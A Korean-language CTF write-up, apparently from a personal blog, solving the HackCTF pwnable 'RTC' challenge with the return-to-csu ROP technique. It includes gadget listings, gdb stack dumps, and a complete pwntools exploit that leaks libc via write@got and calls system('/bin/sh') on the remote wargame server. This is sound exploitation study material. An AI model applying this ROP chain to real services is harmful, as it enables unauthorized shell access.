-
[Pwnable] RTCWargame/HackCTF 2020. 1. 12. 22:47
들어가며
__libc_csu_init
함수를 이용한return-to-csu
기법을 활용하여 푸는 문제이다.이 기법을 많이 다뤄서 익숙해졌는데, 어디 써먹을 문제 없나 찾다가 덕분에 잘 써먹었다.
문제해석
root@goorm:/workspace/ubuntu_1604/hackctf/pwnable/rtc(master)# rp64 -f rtc -r 4 | grep pop 0x0040055c: add byte [rax], al ; add byte [rax], al ; pop rbp ; ret ; (1 found) 0x0040055e: add byte [rax], al ; pop rbp ; ret ; (1 found) 0x00400558: nop dword [rax+rax+0x00000000] ; pop rbp ; ret ; (1 found) 0x004005a5: nop dword [rax] ; pop rbp ; ret ; (1 found) 0x00400557: nop word [rax+rax+0x00000000] ; pop rbp ; ret ; (1 found) 0x004006bc: pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret ; (1 found) 0x004006be: pop r13 ; pop r14 ; pop r15 ; ret ; (1 found) 0x004006c0: pop r14 ; pop r15 ; ret ; (1 found) 0x004006c2: pop r15 ; ret ; (1 found) 0x004005c2: pop rbp ; mov byte [0x0000000000601058], 0x00000001 ; rep ret ; (1 found) 0x0040054f: pop rbp ; mov edi, 0x00601048 ; jmp rax ; (1 found) 0x0040059d: pop rbp ; mov edi, 0x00601048 ; jmp rax ; (1 found) 0x004006bf: pop rbp ; pop r14 ; pop r15 ; ret ; (1 found) 0x00400560: pop rbp ; ret ; (1 found) 0x004005a8: pop rbp ; ret ; (1 found) 0x004006c3: pop rdi ; ret ; (1 found) 0x004006c1: pop rsi ; pop r15 ; ret ; (1 found) 0x004006bd: pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret ; (1 found) 0x0040055a: test byte [rax], al ; add byte [rax], al ; add byte [rax], al ; pop rbp ; ret ; (1 found) root@goorm:/workspace/ubuntu_1604/hackctf/pwnable/rtc(master)#
혹시나
SysROP
문제마냥 가젯이 있는데 삽질할거 같아서 문제 받자마자 가젯부터 확인한거 같다ㅋㅋㅋㅋㅋ다행히도(?) 없었고, 예상대로
return-to-csu
기법을 이용하여 문제를 풀면 될거같다.stack크기를 확인해보자.
gdb-peda$ x/20gx $rsp 0x7ffd024cc550: 0x4141414141414141 0x000000000040060a 0x7ffd024cc560: 0x00007ffd024cc58e 0x0000000000000000 0x7ffd024cc570: 0x0000000000400660 0x0000000000400500 0x7ffd024cc580: 0x00007ffd024cc670 0x0000000000000000 0x7ffd024cc590: 0x0000000000400660 0x00007f22355d0830 0x7ffd024cc5a0: 0x0000000000000001 0x00007ffd024cc678 0x7ffd024cc5b0: 0x0000000135b9fca0 0x00000000004005f6 0x7ffd024cc5c0: 0x0000000000000000 0xcd93c0d8c6224a8f 0x7ffd024cc5d0: 0x0000000000400500 0x00007ffd024cc670 0x7ffd024cc5e0: 0x0000000000000000 0x0000000000000000 gdb-peda$ x/gx $rbp 0x7ffd024cc590: 0x0000000000400660 gdb-peda$ 0x7ffd024cc598: 0x00007f22355d0830 gdb-peda$ p/d $rbp-$rsp $1 = 64
stack크기는
64 + sfp + ret
로 구성되어 있으며, 총72bytes
를 덮고 ret를 변조해주면rip control
이 가능하다.이제 본격적으로
return_to_csu
기법을 이용하여 exploit해보자.풀이
return_to_csu
는 다음과 같은 가젯을 사용하여 동작한다.root@goorm:/workspace/ubuntu_1604/hackctf/pwnable/rtc(master)# objdump -d -M intel ./rtc ... 0000000000400660 <__libc_csu_init>: ... 4006a0: 4c 89 ea mov rdx,r13 4006a3: 4c 89 f6 mov rsi,r14 4006a6: 44 89 ff mov edi,r15d 4006a9: 41 ff 14 dc call QWORD PTR [r12+rbx*8] 4006ad: 48 83 c3 01 add rbx,0x1 4006b1: 48 39 eb cmp rbx,rbp 4006b4: 75 ea jne 4006a0 <__libc_csu_init+0x40> 4006b6: 48 83 c4 08 add rsp,0x8 4006ba: 5b pop rbx 4006bb: 5d pop rbp 4006bc: 41 5c pop r12 4006be: 41 5d pop r13 4006c0: 41 5e pop r14 4006c2: 41 5f pop r15 4006c4: c3 ret ...
총 3가지 가젯을 이용한다.
1. pop을 통해 원하는 값을 register에 넣어주는 가젯 2. 함수를 call해주는 가젯 3. pop rdi; ret
이를 코드로 정리하면 다음과 같다.
# gadget1 4006ba: 5b pop rbx 4006bb: 5d pop rbp 4006bc: 41 5c pop r12 4006be: 41 5d pop r13 4006c0: 41 5e pop r14 4006c2: 41 5f pop r15 4006c4: c3 ret # gadget2 4006a0: 4c 89 ea mov rdx,r13 4006a3: 4c 89 f6 mov rsi,r14 4006a6: 44 89 ff mov edi,r15d 4006a9: 41 ff 14 dc call QWORD PTR [r12+rbx*8] 4006ad: 48 83 c3 01 add rbx,0x1 4006b1: 48 39 eb cmp rbx,rbp 4006b4: 75 ea jne 4006a0 <__libc_csu_init+0x40> 4006b6: 48 83 c4 08 add rsp,0x8 4006ba: 5b pop rbx 4006bb: 5d pop rbp 4006bc: 41 5c pop r12 4006be: 41 5d pop r13 4006c0: 41 5e pop r14 4006c2: 41 5f pop r15 4006c4: c3 ret # gadget3 4006c3: 41 5f pop rdi 4006c4: c3 ret
gadget1
을 이용하여r13, r14, r15
register에 값을 넣고gadget2
를 이용하여 각각rdx, rsi, edi
로 값복사를 한다.그리고
gadget1
에서 넣어준r12
주소를 call한다.이때,
[r12+rbx*8]
를 호출하므로,gadget1
에서rbx
는0
으로 맞춰준다.호출 이후에도 chain이 계속해서 유지되기 위해서는
rbp
를1
로 맞춰주어야 한다.이유는
add rbx,0x1; cmp rbx,rbp
과정이 있기 때문이다.마지막으로,
gadget2
에서는 payload가8bytes
가 더 길어지는데, 이 이유는add rsp, 0x8
동작 때문이다.자세한 정리는 아래 블로그에 잘 정리되어 있으니, 보기를 강추한다!
14.Return-to-csu(__libc_csu_init) - TechNote - Lazenca.0x0
페이지 … TechNote 02.TechNote 05.Basic exploitation techniques 배너의 맨 끝으로 배너의 맨 처음으로 14.Return-to-csu(__libc_csu_init) 메타 데이터의 끝으로 건너뛰기 Lazenca.0x0님이 작성, 9월 06, 2018에 최종 변경 메타 데이터의 시작으로 이동
위의 가젯을 어떻게 사용할지는 다음과 같이 정리해보았다.
1. read(0, bss, len(binsh)) <- '/bin/sh\x00' 2. write(1, read_got, 8) -> leak read@got 3. return-to-main 4. system("/bin/sh")
이에 맞는 rop Chain을 짠 후에, exploit code를 작성해보았다.
exploit.py
from pwn import * context.terminal = ['tmux', 'splitw', '-h'] bp = {'bp1':0x0000000000400652} r = remote('ctf.j0n9hyun.xyz', 3025) #r = process('./rtc') #gdb.attach(r, 'b *{}'.format(bp['bp1'])) e = ELF('./rtc') libc = ELF('./libc.so.6') gadget1 = 0x4006ba gadget2 = 0x4006a0 pop_rdi = 0x4006c3 read_got = e.got['read'] write_got = e.got['write'] read_offset = libc.symbols['read'] system_offset = libc.symbols['system'] binsh = '/bin/sh\x00' bss = 0x0000000000601050 main_stage = bss + 0x400 main = 0x00000000004005f6 payload = '' payload += "A"*72 # Stage 1 : inject binsh in bss # read(0, bss, len(binsh)) <- '/bin/sh\x00' payload += p64(gadget1) payload += p64(0) # pop rbx payload += p64(1) # pop rbp payload += p64(read_got) # pop r12 -> call function payload += p64(len(binsh)) # pop r13 -> rdx payload += p64(main_stage) # pop r14 -> rsi payload += p64(0) # pop r15 -> edi payload += p64(gadget2) # ret # after read function # Stage 2 : leak libc and return-to-main # write(1, read_got, 8) -> leak read@got payload += p64(0) # add rsp,0x8 payload += p64(0) # pop rbx payload += p64(1) # pop rbp payload += p64(write_got) # pop r12 -> call function payload += p64(8) # pop r13 -> rdx payload += p64(read_got) # pop r14 -> rsi payload += p64(1) # pop r15 -> edi payload += p64(gadget2) # ret # return-to-main payload += p64(0)*7 # [add rsp,0x8] and [pppppp] payload += p64(main) # ret r.sendlineafter('\n', payload) r.send(binsh) leak = u64(r.recvn(8)) libc_base = leak - read_offset system = libc_base + system_offset log.info("read@got: "+hex(leak)) log.info("libc_base: "+hex(libc_base)) log.info("system@got: "+hex(system)) # Stage 3 : execute shell payload = '' payload += "A"*72 payload += p64(pop_rdi) payload += p64(main_stage) payload += p64(system) r.sendlineafter('\n', payload) r.interactive()
'Wargame > HackCTF' 카테고리의 다른 글
[Misc] 탈옥 (0) 2020.01.16 [Pwnable] Register (0) 2020.01.16 [Pwnable] SysROP (0) 2020.01.12 [Pwnable] babyfsb (0) 2020.01.10 [Pwnable] You are silver (0) 2020.01.08